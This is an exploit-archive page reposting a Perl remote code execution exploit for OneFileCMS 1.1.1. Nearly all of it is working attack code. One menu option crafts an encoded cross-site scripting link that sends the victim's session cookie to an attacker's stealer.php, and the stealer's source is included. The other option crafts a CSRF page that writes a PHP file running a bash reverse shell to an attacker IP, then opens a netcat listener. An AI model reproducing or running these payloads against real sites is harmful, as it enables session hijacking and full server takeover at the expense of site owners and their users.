Home / exploitsPDF  

OneFileCMS 1.1.1 Code Execution

Posted on 21 August 2011

#!/usr/bin/perl
#
# Exploit Title: OneFileCMS v.1.1.1 Remote Code Execution Exploit
# Date: 22/8/2011
# Author: mr.pr0n (@_pr0n_)
# Homepage: http://ghostinthelab.wordpress.com/ - http://s3cure.gr
# Software Link: http://onefilecms.com/download/onefilecms_site_v1.1.1.zip
# Version: OneFileCMS v.1.1.1
# Tested on: Linux Fedora 14

use LWP::UserAgent;

print "
   |==[ mr.pr0n ]=============================================== |
";
print "   | OneFileCMS 1.1.1 - [R]emote [C]ode [E]xecution [E]xploit    |
";
print "   |===================[ http://ghostinthelab.wordpress.com/ ]== |
";

print "
Enter the target (e.g.: http://victim.com)";
print "
> ";
$target=<STDIN>;
chomp($target);
$target = "http://".$target if ($target !~ /^http:/);

print "Enter the OneFileCMS directory (e.g.: onefilecms)";
print "
> ";
$dir=<STDIN>;
chomp($dir);

$target = $target."/".$dir;

menu:;
print "
[+] Main Menu:
";
print "    1. Steal the "sessionid" cookie.
";
print "    2. Get a shell on your target.
";
print "    3. Exit.
"	;

print "> ";
$option=<STDIN>;
if ($option!=1 && $option!=2 && $option!=3)
{
print "Oups, wrong option.
Please, try again.
";
goto menu;
}

if ($option==1)
{&cookie}
if ($option==2)
{&shell}
if ($option==3)
{&quit}

sub cookie
{
print "Enter the address of the "stealer.php" (e.g.: http://attacker.com/stealer.php)";
print "
> ";
$stealer=<STDIN>;
chomp($stealer);

# -------------------------------------------------------------------------------------
# stealer.php - source code
# -------------------------------------------------------------------------------------
# <?php
# header ('Location:http://VICTIM_SERVER/onefilecms/onefilecms.php?f=index.php');
# $cookie = $_GET['cookie'];
# $log = fopen("gotit.txt", "a");
# fwrite($log, $cookie ."
");
# fclose($log);
# ?>
# --------------------------------------------------------------------------------------

$result = "'"><script>document.location="$stealer?cookie="+document.cookie;</script>";
$result =~ s/(.)/sprintf("%x%",ord($1))/eg;

print "
[+] Send this link to your victim ...

";
print $target."/onefilecms.php?p=".$result."
";
goto menu;
}

sub shell
{
print "Enter the sessionid:";
print "
> ";
$sessionid=<STDIN>;
chomp($sessionid);

print "Enter the IP address for the reverse connection (e.g.: 192.168.178.25)";
print "
> ";
$ip=<STDIN>;
chomp($ip);

print "Enter the port to connect back on (e.g.: 4444)";
print "
> ";
$port=<STDIN>;
chomp($port);

$payload =
"<?php ".
"system('/bin/bash -i > /dev/tcp/$ip/$port 0<&1 2>&1');".
"?>";

$filename = "index_".int(rand()*1011).".php";

$csrf =
"'"><html><body onload='document.f.submit()'>".
"<form method=post name=f action="$target/onefilecms.php">".
"<input type="hidden" name="sessionid" value="$sessionid">".
"<input type="hidden" name="filename" value="$filename">".
"<input name="content" value="$payload">".
"<input type="submit" name="Save">".
"</form></body></html>";

$csrf =~ s/(.)/sprintf("%x%",ord($1))/eg;

print "
[+] Send this link to your victim...

";
print $target."/onefilecms.php?p=".$csrf."
";

$nc= "nc -lvp $port";
system("xterm -e $nc &");

print "
[+] Please be patient...
";
while (1)
{
$int = LWP::UserAgent->new() or die;
$check=$int->get($target."/".$filename);
if ($check->content =~ m/was not found/g)
{
sleep(10);
}
}
goto menu;
}

sub quit
{
exit(1);
}

 

TOP

Malware :

Exploits :